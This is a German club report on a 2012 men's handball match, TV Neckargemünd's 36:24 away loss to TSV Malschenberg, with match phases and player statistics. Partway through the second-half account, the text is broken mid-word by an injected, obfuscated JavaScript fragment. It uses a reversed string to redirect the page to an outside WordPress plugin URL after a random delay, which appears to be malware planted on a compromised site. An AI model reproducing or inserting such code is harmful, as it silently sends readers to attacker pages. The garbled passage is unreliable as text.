Herren: Einbruch in der 2. Halbzeit

Dass der dezimierte Kader des TV Neckargemünd nur Punkte aus Malschenberg mit nach Hause nehmen kann, wenn alle Akteure eine gute Tagesform erreichen war vor dem Spiel schon klar. Jedoch gelang dies am Samstagabend in der Mannaberghalle nur teilweise. Während die Gäste aus Neckargemünd im ersten Durchgang noch absolut auf Augenhöhe mit dem TSV Malschenberg spielten (16:15), gab es in der zweiten Hälfte zu viele Aussetzer, diese ermöglichten den Gastgebern immer wieder Konterchancen, die sie gnadenlos ausnutzten und somit einen 36:24 Heimsieg verbuchen konnten. Der Sieg war verdient.

Malschenberg 13.10.2012 (rwe) – Mit ungewohnter Aufstellung begann der TVN das Auswärtsspiel in Malschenberg. Mit Marc Leibenguth und Marc Hoffmann mussten zwei Außenspieler in die Rückraumpositionen rücken, um die Ausfälle von Ruben Garske, Malte Ottweiler, Alexander Herd und Jürgen Reymann zu begleichen. Zunächst schlug sich das Team sehr gut, besonders der eingewechselte Tomi Uremovic behielt die Übersicht und überraschte die Gastgeber in der ersten Halbzeit immer wieder.In der zweiten Halbzeit gab es seitens der TVN-Gäste zu viele Fehlwürfe, lediglich Jan Reutner und Nils Berner hatten eine gute Quote zu verzeichnen. Dieser Leistungseinbruch brachte eine, in dieser Höhe, unnötige Niederlage.

 

Erste Halbzeit: Der TVN hält gut mit

Der TVN spielte von Beginn an diszipliniert und lies den Gastgebern keine Möglichkeit sich entscheidend abzusetzen. Malschenberg führte immer knapp und in der 23 Spielminute konnte Neckargemünd zum 11:11 ausgleichen. Leider ermöglichten in dieser Phase zwei unnötige Fehler den Gastgebern Konterchancen. Halbzeitstand war dann 16:15 für Malschenberg.

 

In der zweiten Halbzeit erlaubten sich die Neckargemünder in den ersten fünf Minuten fünf Fehlwürfe!

Das war das Startsignal für die Gastgeber, entschlossen nutzten diese ihre Möglichkeiten zum Tempogegenstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toß, was im Ergebnis den Spielstand von 21:16 ergab und somit die Vorentscheidung war. Bei Neckargemünd schwanden nun immer mehr die Kräfte. Lediglich die Torhüter, Jens Ferber, der eingewechselte Michel Estl und der grippegeschwächte Christian Rupp behielten nun noch die Übersicht. Nachdem Uremovic in der 42 Spielminute per Strafwurf zum 21:26 verkürzte, begann eine „Auszeit“ der Gäste. Dies sollte bis zur 56 Spielminute dauern. In dieser Phase blieben 8 Angriffe des TVN ohne Erfolg, lediglich Reutner konnte ein Tor erzielen, während Malschenberg permanent Tempogegenstöße startete und eiskalt bis zum 36:24 Endstand verwertete.

 

Schwache 19 Minuten in einer Halbzeit kann man nicht kompensieren

Gemessen an den personellen Möglichkeiten war der Auftritt des TVN zunächst akzeptabel. Allerdings ist eine zu lange Schwächephase in der zweiten Hälfte die Ursache für diese, erneut hohe Niederlage.

Eine, unter gegebenen Umständen, Niederlage in Malschenberg kann man akzeptieren. Das nachlässige Verhalten in der besagten Spielphase allerdings nicht! Gerade in schwierigen Phasen ist taktische Disziplin unabdingbar. Da sich die Personalsituation vermutlich in dieser Woche nicht verbessert, ist dies beim nächsten Heimspiel amSonntag, 21.10.2012, um 18:30 Uhr in der Münzenbachhalle absolut notwendig. Gegner ist dann der SC Sandhausen.

 

Beim TVN im Einsatz:

Tor: Jens Ferber (1-48), Michael Estl (48-60),

Feld: Nils Berner 4, Marc Hoffmann, Johannes Hünnerkopf 2, Marc Leibenguth 2, Fabian Mitsch, Jan Reutner 8, Christian Pabst, Christian Rupp 2, Jann Thieme, Tomislav Uremovic 6/1, Uli Weitzel.

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